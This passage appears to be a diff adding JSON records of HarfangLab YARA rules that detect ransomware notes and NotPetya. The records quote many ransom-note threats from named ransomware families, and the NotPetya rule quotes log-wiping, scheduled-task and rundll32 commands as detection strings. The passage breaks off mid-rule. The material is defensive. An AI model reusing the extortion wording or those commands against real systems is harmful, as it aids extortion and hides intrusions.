first and last solution for your files otherwise you will only waste money and time\" wide ascii\n        $s_blackmatter_00 = \"Your network is encrypted, and currently not operational\" wide ascii\n        $s_blackmatter_01 = \"We are not a politically motivated group and we do not need anything\" wide ascii\n        $s_blacksuit_00 = \"Your safety service did a really poor job of protecting your files against our professionals\" wide ascii\n        $s_blacksnake_00 = \"NOT BIGGER THAN 5 MB, WE ARE NOT RESPONSIBLE IF THE FILE CONTAINS ANY PERSONAL INFORMATION\" wide ascii\n        $s_bluesky_00 = \"YOUR IMPORTANT FILES, DOCUMENTS, PHOTOS, VIDEOS, DATABASES HAVE BEEN ENCRYPTED!\" wide ascii\n        $s_cactus_00 = \"Your systems were accessed and encrypted by Cactus\" wide ascii\n        $s_cactus_01 = \"we have downloaded a huge pack of confidential information from your systems\" wide ascii\n        $s_cartel_00 = \"Its just a business. We absolutely do not care about you and your deals, except getting benefits\" wide ascii\n        $s_cerber_01_generic = \"YOUR DOCUMENTS, PHOTOS, DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED\" wide ascii nocase\n        $s_cerber_02 = \"the worst situation already happened and now it depends on\" wide ascii\n        $s_cerber_03 = \"your determination and speed of your actions the further life\" wide ascii\n        $s_cerber_04 = \"DO NOT DELETE THIS FILE UNTIL ALL YOUR DATA HAVE BEEN RECOVERED!!!\" wide ascii\n        $s_chilelocker_00 = \"copy or move any files or you can DAMAGE them and decryption will be impossible.\" wide ascii\n        $s_chilelocker_01 = \"Your security perimeter was BREACHED\" wide ascii\n        $s_chilelocker_02 = \"Critically important servers and hosts were completely ENCRYPTED.\" wide ascii\n        $s_cloak_00 = \"Your network is hacked and files are encrypted\" wide ascii\n        $s_clop_00 = \"Your network has been penetrated\" wide ascii\n        $s_clop_01 = \"DO NOT ATTEMPT TO RESTORE OR MOVE THE FILES YOURSELF. THIS MAY DESTROY THEM\" wide ascii\n        $s_conti_00 = \"All of your files are currently encrypted by CONTI\" wide ascii\n        $s_cryptnet_00 = \"All of your files are encrypted and stolen. Stolen data will be published soon\" wide ascii\n        $s_cryptomix_00 = \"All your files have been encrypted\" wide ascii\n        $s_cryptxxx_00 = \"you better not waste your time, because there is no other way to get your files\" wide ascii\n        $s_cryptox_00_generic = \"Do not try to decrypt your data using third party software\" ascii wide nocase\n        $s_cuba_00 = \"Good day. All your files are encrypted. For decryption contact us\" ascii wide nocase\n        $s_dagonlocker_00 = \"partner contracts and employees has been exfiltrated to our internal servers\" wide ascii\n        $s_darkangels_00 = \"We encrypted your workstations and servers to make the fact of the intrusion visible\" wide ascii\n        $s_doppelpaymer_00 = \"backups and shadow copies are unavailable until you pay for a decryption tool\" wide ascii\n        $s_doppelpaymer_01 = \"decide not to cooperate your sensitive data will be shared to public\" wide ascii\n        $s_doppelpaymer_02 = \"files on each host in the network have been encrypted with a strong algorythm\" wide ascii\n        $s_dragonforce_00 = \"have been stolen from your network and encrypted with a strong algorithm\" wide ascii\n        $s_ech0raix = \"All your data has been locked(crypted)\" wide ascii\n        $s_esxiargs = \"otherwise we will expose some data and raise the price\" wide ascii\n        $s_ftcode = \"Decoders of other users is not suitable to back your files - encryption key is created on your computer\" wide ascii\n        $s_gandcrab_00 = \"The only method of recovering files is to purchase an unique private key\" wide ascii\n        $s_gwisinlocker = \"We have exfiltrated a lot of sensitive data from your networks\" wide ascii\n        $s_h0lygh0st = \"you can return all of your files immediately if you pay\" wide ascii\n        $s_hive_00 = \"Your network has been breached and all data were encrypted\" wide ascii\n        $s_hunters_00 = \"Don't waste time. Inform your CEO about the incident ASAP. Show Data Leak Site:\" wide ascii\n        $s_icefire = \"Restore your data posible only buying private key from us\" wide ascii\n        $s_inc_00 = \"We have hacked you and downloaded all confidential data of your company and its clients\" wide ascii\n        $s_jaff = \"After instalation, run the Tor Browser and enter address:\" wide ascii\n        $s_karakurt = \"We breached your internal network and took control over all of your systems\" wide ascii\n        $s_karma = \"Contact us to negotiate the terms of reversing the damage we have done\" wide ascii\n        $s_knight_00 = \"Your files are encrypted, without our help, it's irreversible.\" wide ascii\n        $s_knight_01 = \"If you don't pay the ransom, the data will be published on our blog\" wide ascii\n        $s_lilith = \"All your important files have been encrypted and stolen\" wide ascii\n        $s_lockbit00 = \"We are the oldest ransomware affiliate program on the planet\" wide ascii\n        $s_lockbit01 = \"You can contact us and decrypt one file for free on these TOR sites\" wide ascii\n        $s_lockbit02 = \"If you don't pay the ransom, the data will be published on our TOR darknet sites\" wide ascii\n        $s_locky = \"Decrypting of your files is only possible with the private key and decrypt program, which is on our secret server\" wide ascii\n        $s_lorenz00 = \"It's just a business. We absolutely do not care about you and your deals, except getting benefits\" wide ascii\n        $s_luckbit = \"We have targeted your organization for a reason, and we possess the capability to carry out our threats\" wide ascii\n        $s_IV = \"But if you don't, you'll lose your time and data cause only we have the private key to decrypt your files\" wide ascii\n        $s_magniber = \"ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!\" wide ascii\n        $s_makop = \"We have exfiltrated tons of your private data to our servers including data of your clients\" wide ascii\n        $s_mallow = \"To return your files in work condition you need decryption tool\" wide ascii\n        $s_maze = \"The only method to restore your files is to purchase a unique for you private key which is securely stored on our servers\" wide ascii\n        $s_medusa = \"1. We have PENETRATE your network and COPIED data\" wide ascii\n        $s_medusalocker = \"If you decide to not pay, we will release your data to public or re-seller\" wide ascii\n        $s_moneymessage = \"we will post the files we stole from your internal network, in our blog\" wide ascii\n        $s_monti = \"DON'T TRY TO CONTACT feds or any recovery companies\" wide ascii\n        $s_nefilim = \"If we do not come to an agreement your data will be leaked on this website\" wide ascii\n        $s_nemty00 = \"It's a business, if we can't provide full decryption, other people won't trust us\" wide ascii\n        $s_nemty01 = \"We provide test decryption, as proof that we can decrypt your data\" wide ascii\n        $s_netwalker = \"the only way to get your files back is to cooperate with us and get the decrypter program\" wide ascii\n        $s_nevada  = \"Greetings! Your files were stolen and encrypted\" wide ascii\n        $s_qlocker = \"This key is stored in our server and the only way to receive your key and decrypt your files is\" wide ascii\n        $s_quantum = \"in 48 hours the fact of the attack and all your information will be posted on our site and will be promoted\" wide ascii\n        $s_ragnarlocker00 = \"it means your network was PENETRATED and your most sensitive files were COMPROMISED\" wide ascii\n        $s_ragnarlocker01 = \"it means your network was PENETRATED and all of your files and data has been ENCRYPTED\" wide ascii\n        $s_ragnarok = \"Attention:if you wont pay the ransom in five days,\" wide ascii\n        $s_rancoz = \"If you do not pay the ransom we will attack your company repeatedly again!\" wide ascii\n        $s_ransomexx00 = \"Please don’t try to modify or rename any of encrypted files, because it can result in serious data loss and decryption failure.\" wide ascii\n        $s_ransomexx01  = \"To get details about this accident download TOR browser and visit:\" wide ascii\n        $s_ransomexx02 = \"Contact us ONLY if you officially represent the whole affected network\" wide ascii\n        $s_ranzy = \"Your servers is LOCKED. Do not try to use other software\" wide ascii\n        $s_raworld = \"Your data are stolen and encrypted when you read this letter\" wide ascii\n        $s_redalert = \"We have encrypted your files and stole large amount of sensitive data\" wide ascii\n        $s_revil00 = \"Our encryption algorithm is the most technically difficult and max resistant to burglary\" wide ascii\n        $s_rhysida = \"Our team has developed a unique key, specifically designed to restore your digital security\" wide ascii\n        $s_royal = \"Alas, as a result your critical data was not only encrypted but also copied from your systems on a secure server\" wide ascii\n        $s_rtmlocker = \"The only way to recover your files is to buy our dedicated software\" wide ascii\n        $s_scarecrow = \"ScareCrow encrypted your files!\" wide ascii\n        $s_schoolboys = \"We are not a politically motivated group and we do not need anything other than your money\" wide ascii\n        $s_shadow = \"The data will be published on TOR website if you do not pay the ransom\" wide ascii\n        $s_slug = \"If you don't contact within three days, we'll start leaking data\" wide ascii\n        $s_snatch = \"All your files are encrypted and only we can decrypt them\" wide ascii\n        $s_stop = \"The only method of recovering files is to purchase decrypt tool and unique key for you\" wide ascii\n        $s_suncrypt = \"If you fail to follow our recommendations, you will never see your files again\" wide ascii\n        $s_teslacrypt = \"Decrypting of your files is only possible with the help of the private key and decrypt program , which is on our Secret Server\" wide ascii\n        $s_trigona = \"The program uses a secure AES algorithm, which makes decryption impossible without contacting us\" wide ascii\n        $s_ubomb = \"YOUR COMPANY NETWORK HAS BEEN PENETRATED\" wide ascii\n        $s_underground = \"they can be restored to their original state with a decryptor key that only we have\" wide ascii\n        $s_vohuk = \"ALL YOUR FILES ARE STOLEN AND ENCRYPTED.\" wide ascii\n        $s_xorist = \"will allow you to decrypt the files, is locate on a secret server on the internet\" wide ascii\n        $s_yanluowang = \"We will also stop any communication with you, and continue DDoS, calls to employees and business partners\" wide ascii\n        $s_zeon = \"downloaded a pack of your internal data and are ready to publish it on out news website if you do not respond\" wide ascii\n\n        // Exclusions to limit false positive\n        $filter_00 = \"veeamfs is readonly!\" ascii fullword\n        $filter_01 = \"unknown veeamfs version: \" ascii fullword\n        $filter_02 = \"/var/tmp/veeam/socket/veeamservice.sock\" ascii fullword\n        $filter_03 = \"Veeam RPC server terminated.\" ascii fullword\n        $filter_04 = \"-lflush,VeeamAgent.Default.log\" ascii fullword\n        $filter_05 = \"Veeam RPC packet not recognized.\" ascii\n        // Zimbra clamd (f75e21159c75c2c002cf7810f53744ba13323ac8b70c4e2d952a38c4ffc6902d)\n        $filter_06 = \"ClamAV %s/%u/%s\" ascii fullword\n        $filter_07 = \"clamd_virus_found_cb \" ascii fullword\n        // /usr/bin/ceph-osd (a6526dc673243048ec56e21a6eea2112c9547d8ab8a30eca03f81ae6aceb65ce)\n        $filter_08 = \"ceph::common::CephContext::~CephContext()\" ascii fullword\n        $filter_09 = \"Cephx version required\" ascii\n\n    condition:\n        1 of ($s_*)\n        and not $canary\n        and not 2 of ($filter_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_notes_linux"
+  ],
+  "rule_creation_date": "2024-02-26",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Ransomware.Unknown"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "thread",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_notes_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.590359Z",
+  "creation_date": "2026-03-23T11:46:25.590361Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.590367Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/threatlabz/ransomware_notes/\nhttps://github.com/eshlomo1/Ransomware-NOTE"
+  ],
+  "name": "ransomware_notes.yar",
+  "content": "rule ransomware_notes {\n    meta:\n        title = \"Ransomware Notes\"\n        id = \"1e98a35f-f2b4-4f4d-80e7-80ee9d35c91d\"\n        description = \"Detects the ransomware notes dropped after encryption.\\nThese notes typically contain messages from various ransomware families, such as Cerber, Locky, and others, instructing victims on how to pay the ransom or provide proof of encryption. The messages often include specific instructions, deadlines, or demands for payment in exchange for the decryption key.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/threatlabz/ransomware_notes/\\nhttps://github.com/eshlomo1/Ransomware-NOTE\"\n        date = \"2024-02-23\"\n        modified = \"2026-02-11\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Windows.Ransomware.Unknown\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"moderate\"\n\n    strings:\n        // Detection for this sample:\n        // 6a207be6807f1ea51f0bdeeb89e3ea4f0560f48f9b7ed3ed4ea68a212e2714ca\n\n        $canary = \"709b12cb94f42b127ca6af9cff87ff8fd00edb4b97cf05a7ef4594c9ca02f3ac\"\n\n        $s_8base_00 = \"Now its fate is up to you\" wide ascii\n        $s_8base_01 = \"After 4 days starting tomorrow your leaked data will be Disclosed or sold\" wide ascii\n        $s_abysslocker_00 = \"Your company Servers are locked and Data has been taken to our servers.\" wide ascii\n        $s_abysslocker_01 = \"We will make you business stop forever by using all of our experience to make your partners\" wide ascii\n        $s_akira_01 = \"Whatever who you are and what your title is if you're reading this it means the internal infrastructure of your company is fully or partially dead\" wide ascii\n        $s_akira_02 = \"keep all the tears and resentment to ourselves and try to build a constructive dialogue\" wide ascii\n        $s_alphav_00 = \"Data on Your network was exfiltrated and encrypted\" wide ascii\n        $s_alphav_01 = \"Modifying encrypted files will result in permanent data loss!\" wide ascii\n        $s_alphav_02 = \"If you DON'T WANT your sensitive data to be PUBLISHED you have to act quickly\" wide ascii\n        $s_alphav_03 = \"Sensitive data on your system was DOWNLOADED and it will be PUBLISHED if you refuse to cooperate\" wide ascii\n        $s_atomsilo_00 = \"The only way to decrypt your files safely is to buy the special decryption software from us\" wide ascii\n        $s_atomsilo_01 = \"Sorry to inform you that your files has been obtained and encrypted by us\" wide ascii\n        $s_avaddon_00 = \"If you do not contact as in a 3 days we will post information about your breach on our public news website\" wide ascii\n        $s_avaddon_01 = \"DO NOT DELETE THIS FILE UNTIL ALL YOUR DATA HAVE BEEN RECOVERED\" wide ascii\n        $s_avoslocker_00 = \"Contact us soon, because those who don't have their data leaked in our press release blog\" wide ascii\n        $s_bianlian_00 = \"touch no files, don't try to recover by yourself, that may lead to it's complete loss\" wide ascii\n        $s_biglock_00 = \"AND MARKED BY EXTENSION .nermer\" wide ascii\n        $s_biglock_01 = \"YOUR FILES ARE SAFE! ONLY MODIFIED :: ChaCha + AES\" wide ascii\n        $s_bitpaymer_00 = \"YOUR COMPANY HAS BEEN SUCCESSFULLY PENETRATED!\" wide ascii\n        $s_bitpaymer_01 = \"Your network was hacked and encrypted\" wide ascii\n        $s_bitransomware_00 = \"The only method of recovering files is to purchase an unique decryptor\" wide ascii\n        $s_blackbasta_00 = \"Your data are stolen and encrypted\" wide ascii\n        $s_blackbasta_01 = \"we will consider this as a hostile intent and initiate the publication of whole compromised data immediately\" wide ascii\n        $s_blackbyte_00 = \"Your network has been breached and all data was encrypted\" wide ascii\n        $s_blackbyte_01 = \"If you read this message thats means your files already for sell in our Auction\" wide ascii\n        $s_blackbyte_02 = \"All your files have been encrypted, your confidential data has been stolen\" wide ascii\n        $s_blackbyte_03 = \"in order to decrypt files and avoid leakage, you must follow our steps\" wide ascii\n        $s_blackhunt_00 = \"Remember we are first and last solution for your files otherwise you will only waste money and time\" wide ascii\n        $s_blackmatter_00 = \"Your network is encrypted, and currently not operational\" wide ascii\n        $s_blackmatter_01 = \"We are not a politically motivated group and we do not need anything\" wide ascii\n        $s_blacksuit_00 = \"Your safety service did a really poor job of protecting your files against our professionals\" wide ascii\n        $s_blacksnake_00 = \"NOT BIGGER THAN 5 MB, WE ARE NOT RESPONSIBLE IF THE FILE CONTAINS ANY PERSONAL INFORMATION\" wide ascii\n        $s_bluesky_00 = \"YOUR IMPORTANT FILES, DOCUMENTS, PHOTOS, VIDEOS, DATABASES HAVE BEEN ENCRYPTED!\" wide ascii\n        $s_cactus_00 = \"Your systems were accessed and encrypted by Cactus\" wide ascii\n        $s_cactus_01 = \"we have downloaded a huge pack of confidential information from your systems\" wide ascii\n        $s_cartel_00 = \"Its just a business. We absolutely do not care about you and your deals, except getting benefits\" wide ascii\n        $s_cerber_01_generic = \"YOUR DOCUMENTS, PHOTOS, DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED\" wide ascii nocase\n        $s_cerber_02 = \"the worst situation already happened and now it depends on\" wide ascii\n        $s_cerber_03 = \"your determination and speed of your actions the further life\" wide ascii\n        $s_cerber_04 = \"DO NOT DELETE THIS FILE UNTIL ALL YOUR DATA HAVE BEEN RECOVERED!!!\" wide ascii\n        $s_chilelocker_00 = \"copy or move any files or you can DAMAGE them and decryption will be impossible.\" wide ascii\n        $s_chilelocker_01 = \"Your security perimeter was BREACHED\" wide ascii\n        $s_chilelocker_02 = \"Critically important servers and hosts were completely ENCRYPTED.\" wide ascii\n        $s_cloak_00 = \"Your network is hacked and files are encrypted\" wide ascii\n        $s_clop_00 = \"Your network has been penetrated\" wide ascii\n        $s_clop_01 = \"DO NOT ATTEMPT TO RESTORE OR MOVE THE FILES YOURSELF. THIS MAY DESTROY THEM\" wide ascii\n        $s_conti_00 = \"All of your files are currently encrypted by CONTI\" wide ascii\n        $s_cryptnet_00 = \"All of your files are encrypted and stolen. Stolen data will be published soon\" wide ascii\n        $s_cryptomix_00 = \"All your files have been encrypted\" wide ascii\n        $s_cryptxxx_00 = \"you better not waste your time, because there is no other way to get your files\" wide ascii\n        $s_cryptox_00_generic = \"Do not try to decrypt your data using third party software\" ascii wide nocase\n        $s_cuba_00 = \"Good day. All your files are encrypted. For decryption contact us\" ascii wide nocase\n        $s_dagonlocker_00 = \"partner contracts and employees has been exfiltrated to our internal servers\" wide ascii\n        $s_darkangels_00 = \"We encrypted your workstations and servers to make the fact of the intrusion visible\" wide ascii\n        $s_doppelpaymer_00 = \"backups and shadow copies are unavailable until you pay for a decryption tool\" wide ascii\n        $s_doppelpaymer_01 = \"decide not to cooperate your sensitive data will be shared to public\" wide ascii\n        $s_doppelpaymer_02 = \"files on each host in the network have been encrypted with a strong algorythm\" wide ascii\n        $s_dragonforce_00 = \"have been stolen from your network and encrypted with a strong algorithm\" wide ascii\n        $s_ech0raix = \"All your data has been locked(crypted)\" wide ascii\n        $s_esxiargs = \"otherwise we will expose some data and raise the price\" wide ascii\n        $s_ftcode = \"Decoders of other users is not suitable to back your files - encryption key is created on your computer\" wide ascii\n        $s_gandcrab_00 = \"The only method of recovering files is to purchase an unique private key\" wide ascii\n        $s_gwisinlocker = \"We have exfiltrated a lot of sensitive data from your networks\" wide ascii\n        $s_h0lygh0st = \"you can return all of your files immediately if you pay\" wide ascii\n        $s_hive_00 = \"Your network has been breached and all data were encrypted\" wide ascii\n        $s_hunters_00 = \"Don't waste time. Inform your CEO about the incident ASAP. Show Data Leak Site:\" wide ascii\n        $s_icefire = \"Restore your data posible only buying private key from us\" wide ascii\n        $s_inc_00 = \"We have hacked you and downloaded all confidential data of your company and its clients\" wide ascii\n        $s_jaff = \"After instalation, run the Tor Browser and enter address:\" wide ascii\n        $s_karakurt = \"We breached your internal network and took control over all of your systems\" wide ascii\n        $s_karma = \"Contact us to negotiate the terms of reversing the damage we have done\" wide ascii\n        $s_knight_00 = \"Your files are encrypted, without our help, it's irreversible.\" wide ascii\n        $s_knight_01 = \"If you don't pay the ransom, the data will be published on our blog\" wide ascii\n        $s_lilith = \"All your important files have been encrypted and stolen\" wide ascii\n        $s_lockbit00 = \"We are the oldest ransomware affiliate program on the planet\" wide ascii\n        $s_lockbit01 = \"You can contact us and decrypt one file for free on these TOR sites\" wide ascii\n        $s_lockbit02 = \"If you don't pay the ransom, the data will be published on our TOR darknet sites\" wide ascii\n        $s_locky = \"Decrypting of your files is only possible with the private key and decrypt program, which is on our secret server\" wide ascii\n        $s_lorenz00 = \"It's just a business. We absolutely do not care about you and your deals, except getting benefits\" wide ascii\n        $s_luckbit = \"We have targeted your organization for a reason, and we possess the capability to carry out our threats\" wide ascii\n        $s_IV = \"But if you don't, you'll lose your time and data cause only we have the private key to decrypt your files\" wide ascii\n        $s_magniber = \"ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!\" wide ascii\n        $s_makop = \"We have exfiltrated tons of your private data to our servers including data of your clients\" wide ascii\n        $s_mallow = \"To return your files in work condition you need decryption tool\" wide ascii\n        $s_maze = \"The only method to restore your files is to purchase a unique for you private key which is securely stored on our servers\" wide ascii\n        $s_medusa = \"1. We have PENETRATE your network and COPIED data\" wide ascii\n        $s_medusalocker = \"If you decide to not pay, we will release your data to public or re-seller\" wide ascii\n        $s_moneymessage = \"we will post the files we stole from your internal network, in our blog\" wide ascii\n        $s_monti = \"DON'T TRY TO CONTACT feds or any recovery companies\" wide ascii\n        $s_nefilim = \"If we do not come to an agreement your data will be leaked on this website\" wide ascii\n        $s_nemty00 = \"It's a business, if we can't provide full decryption, other people won't trust us\" wide ascii\n        $s_nemty01 = \"We provide test decryption, as proof that we can decrypt your data\" wide ascii\n        $s_netwalker = \"the only way to get your files back is to cooperate with us and get the decrypter program\" wide ascii\n        $s_nevada  = \"Greetings! Your files were stolen and encrypted\" wide ascii\n        $s_qlocker = \"This key is stored in our server and the only way to receive your key and decrypt your files is\" wide ascii\n        $s_quantum = \"in 48 hours the fact of the attack and all your information will be posted on our site and will be promoted\" wide ascii\n        $s_ragnarlocker00 = \"it means your network was PENETRATED and your most sensitive files were COMPROMISED\" wide ascii\n        $s_ragnarlocker01 = \"it means your network was PENETRATED and all of your files and data has been ENCRYPTED\" wide ascii\n        $s_ragnarok = \"Attention:if you wont pay the ransom in five days,\" wide ascii\n        $s_rancoz = \"If you do not pay the ransom we will attack your company repeatedly again!\" wide ascii\n        $s_ransomexx00 = \"Please don’t try to modify or rename any of encrypted files, because it can result in serious data loss and decryption failure.\" wide ascii\n        $s_ransomexx01  = \"To get details about this accident download TOR browser and visit:\" wide ascii\n        $s_ransomexx02 = \"Contact us ONLY if you officially represent the whole affected network\" wide ascii\n        $s_ranzy = \"Your servers is LOCKED. Do not try to use other software\" wide ascii\n        $s_raworld = \"Your data are stolen and encrypted when you read this letter\" wide ascii\n        $s_redalert = \"We have encrypted your files and stole large amount of sensitive data\" wide ascii\n        $s_revil00 = \"Our encryption algorithm is the most technically difficult and max resistant to burglary\" wide ascii\n        $s_rhysida = \"Our team has developed a unique key, specifically designed to restore your digital security\" wide ascii\n        $s_royal = \"Alas, as a result your critical data was not only encrypted but also copied from your systems on a secure server\" wide ascii\n        $s_rtmlocker = \"The only way to recover your files is to buy our dedicated software\" wide ascii\n        $s_scarecrow = \"ScareCrow encrypted your files!\" wide ascii\n        $s_schoolboys = \"We are not a politically motivated group and we do not need anything other than your money\" wide ascii\n        $s_shadow = \"The data will be published on TOR website if you do not pay the ransom\" wide ascii\n        $s_slug = \"If you don't contact within three days, we'll start leaking data\" wide ascii\n        $s_snatch = \"All your files are encrypted and only we can decrypt them\" wide ascii\n        $s_stop = \"The only method of recovering files is to purchase decrypt tool and unique key for you\" wide ascii\n        $s_suncrypt = \"If you fail to follow our recommendations, you will never see your files again\" wide ascii\n        $s_teslacrypt = \"Decrypting of your files is only possible with the help of the private key and decrypt program , which is on our Secret Server\" wide ascii\n        $s_trigona = \"The program uses a secure AES algorithm, which makes decryption impossible without contacting us\" wide ascii\n        $s_ubomb = \"YOUR COMPANY NETWORK HAS BEEN PENETRATED\" wide ascii\n        $s_underground = \"they can be restored to their original state with a decryptor key that only we have\" wide ascii\n        $s_vohuk = \"ALL YOUR FILES ARE STOLEN AND ENCRYPTED.\" wide ascii\n        $s_xorist = \"will allow you to decrypt the files, is locate on a secret server on the internet\" wide ascii\n        $s_yanluowang = \"We will also stop any communication with you, and continue DDoS, calls to employees and business partners\" wide ascii\n        $s_zeon = \"downloaded a pack of your internal data and are ready to publish it on out news website if you do not respond\" wide ascii\n\n        // Exclusions to limit false positive\n        $filter_00 = \"FortiAmsi\\\\x64\\\\Release\\\\FortiAmsi.pdb\" ascii\n        $filter_01 = \"FortiAMSI Provider\" wide\n        $filter_02 = \"FortiAmsi DLL load\" wide\n        $filter_03 = \"FortiAmsi DllRegisterServer\" wide\n        $filter_04 = \"\\\\veeam-ransomware-stats\\\\main\\\\Binaries\\\\x64\\\\Release\\\\RansomwareStats.pdb\" ascii\n        $filter_05 = \"Veeam Software Group\" ascii\n        $filter_06 = \"Veeam Backup & Replication\" wide\n        // RansomwareStats.dll (Veeam Software Group GmbH)\n        $filter_07 = \"RansomwareStats.dll\" ascii\n        $filter_08 = \"\\\\Release\\\\RansomwareStats.pdb\" ascii\n        $filter_09 = \"Veeam Software Group GmbH0\" ascii\n\n    condition:\n        1 of ($s_*)\n        and not $canary\n        and not 3 of ($filter_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_notes"
+  ],
+  "rule_creation_date": "2024-02-23",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.Unknown"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_notpetya_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574261Z",
+  "creation_date": "2026-03-23T11:46:25.574264Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574273Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0368/\nhttps://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html"
+  ],
+  "name": "ransomware_notpetya.yar",
+  "content": "rule ransomware_notpetya {\n    meta:\n        title = \"NotPetya Ransomware\"\n        id = \"d65f3525-63e8-44c4-a3a1-0aa9b4b9929b\"\n        description = \"Detects the NotPetya malware used during a worldwide attack in June 2017.\\nNotPetya was designed to overwrite critical system files and data, making it impossible to recover.\\nThe malware typically drops a file named README.txt containing a ransom note, and creates specific registry entries to ensure persistence across reboots.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/software/S0368/\\nhttps://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html\"\n        date = \"2022-02-18\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486;attack.s0368\"\n        classification = \"Windows.Ransomware.NotPetya\"\n        context = \"process,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // match all samples\n        $strings_ascii1 = \"Repairing file system on C:\" fullword ascii\n        $strings_ascii2 = \"The type of the file system is NTFS.\" fullword ascii\n        $strings_ascii3 = \"Ooops, your important files are encrypted.\" fullword ascii\n\n        //\n        // match only :\n        // 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745\n        // 64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1\n        //\n        $strings_wide1 = \"wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D %c:\" fullword wide\n        $strings_wide2 = \"schtasks %ws/Create /SC once /TN \\\"\\\" /TR \\\"%ws\\\" /ST %02d:%02d\" fullword wide\n        $strings_wide3 = \"-d C:\\\\Windows\\\\System32\\\\rundll32.exe \\\"C:\\\\Windows\\\\%s\\\",#1\" fullword wide\n        $strings_wide4 = \"process call create \\\"C:\\\\Windows\\\\System32\\\\rundll32.exe \\\\\\\"C:\\\\Windows\\\\%s\\\\\\\" #1 \" fullword wide\n\n        $sample1 = {\n                C7 45 F8 78 56 34 12                          // mov     [ebp+var_8], 12345678h\n                33 DB                                         // xor     ebx, ebx\n                8D 50 02                                      // lea     edx, [eax+2]\n\n                                                // loc_100086D1:                           ; CODE XREF: sub_10008677+63↓j\n                66 8B 08                                      // mov     cx, [eax]\n                83 C0 02                                      // add     eax, 2\n                66 85 C9                                      // test    cx, cx\n                75 F5                                         // jnz     short loc_100086D1\n                2B C2                                         // sub     eax, edx\n                D1 F8                                         // sar     eax, 1\n                8B F8                                         // mov     edi, eax\n\n                                                // loc_100086E2:                           ; CODE XREF: sub_10008677+93↓j\n                33 D2                                         // xor     edx, edx\n                85 FF                                         // test    edi, edi\n                74 1E                                         // jz      short loc_10008706\n                8B F3                                  